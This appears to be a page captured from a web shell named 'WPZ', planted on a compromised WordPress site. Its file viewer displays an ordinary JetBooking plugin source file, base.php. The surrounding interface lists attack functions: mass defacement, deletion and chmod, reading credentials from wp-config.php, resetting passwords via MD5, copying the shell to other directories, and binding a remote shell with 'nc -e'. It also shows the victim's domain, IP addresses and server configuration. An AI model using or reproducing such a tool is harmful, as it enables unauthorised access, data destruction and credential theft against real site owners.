WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / includes / workflows / actions / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/workflows/actions/base.php (3.32 KB)
<?php

namespace JET_ABAF\Workflows\Actions;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

abstract class Base {

	/**
	 * List of settings associated with the action.
	 *
	 * @var array
	 */
	public $settings = [];

	/**
	 * Booking data associated with the action.
	 *
	 * @var array
	 */
	public $booking = [];

	public function __construct() {
		add_action( 'jet-booking/workflows/action-controls', [ $this, 'register_action_controls' ] );
	}

	/**
	 * Get action ID.
	 *
	 * This method should return the unique identifier for the action.
	 *
	 * @since 3.7.0
	 *
	 * @return string Unique identifier for the action.
	 */
	abstract public function get_id();

	/**
	 * Get action name.
	 *
	 * This method should return the human-readable name for the action.
	 *
	 * @since 3.7.0
	 *
	 * @return string The name of the action.
	 */
	abstract public function get_name();

	/**
	 * Perform the action.
	 *
	 * This method should contain the logic for the action to be executed.
	 *
	 * @since 3.7.0
	 *
	 * @return void
	 */
	abstract public function do_action();

	/**
	 * Registers action controls for the workflows.
	 *
	 * This method is responsible for adding any necessary controls or settings to the workflow
	 * action controls section.
	 *
	 * @since 3.7.0
	 *
	 * @return void
	 */
	public function register_action_controls() {}

	/**
	 * Sets up the action with the provided settings and booking data.
	 *
	 * This method is used to initialize the action with the necessary data for execution.
	 *
	 * @since 3.7.0
	 *
	 * @param array $settings An associative array containing the action's settings.
	 * @param array $booking  An associative array containing the booking data.
	 *
	 * @return void
	 */
	public function setup( $settings = [], $booking = [] ) {
		$this->settings = $settings;
		$this->booking  = $booking;
	}

	/**
	 * Get bookings from current action context as a list.
	 *
	 * @since 4.1.1
	 *
	 * @return array
	 */
	public function get_bookings() {

		if ( ! empty( $this->booking ) && ! isset( $this->booking['booking_id'] ) ) {
			return array_values( $this->booking );
		}

		return ! empty( $this->booking ) ? [ $this->booking ] : [];

	}

	/**
	 * Get booking resource objects from current action context.
	 *
	 * @since 4.1.1
	 *
	 * @return array
	 */
	public function get_booking_objects() {

		$bookings = [];

		foreach ( $this->get_bookings() as $booking ) {
			if ( ! empty( $booking['booking_id'] ) ) {
				$bookings[] = jet_abaf_get_booking( $booking['booking_id'] );
			}
		}

		return $bookings;

	}

	/**
	 * Retrieves action settings.
	 *
	 * This method retrieves the settings associated with the action.
	 *
	 * @since 3.7.0
	 *
	 * @param string|null $setting Optional. The specific setting to retrieve.
	 *
	 * @return mixed The value of the specified setting.
	 */
	public function get_settings( $setting = null ) {

		if ( ! $setting ) {
			return $this->settings;
		}

		return $this->settings[ $setting ] ?? false;

	}

	/**
	 * Updates the action settings.
	 *
	 * This method allows updating a specific setting within the action's settings array.
	 *
	 * @since 3.7.0
	 *
	 * @param string $setting The key of the setting to update.
	 * @param mixed  $value   The new value for the setting.
	 *
	 * @return void
	 */
	public function update_settings( $setting, $value = null ) {
		$this->settings[ $setting ] = $value;
	}

}
namawaktuukuranownerpermaksi
..
base.php 2026-07-21 14:163.32 KB 76129f60960:kunden-xw-x-----
edt
send-email.php 2026-07-21 14:165.84 KB 76129f60960:kunden-xw-x-----
edt
webhook.php 2026-07-21 14:162.14 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/workflows/actions
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK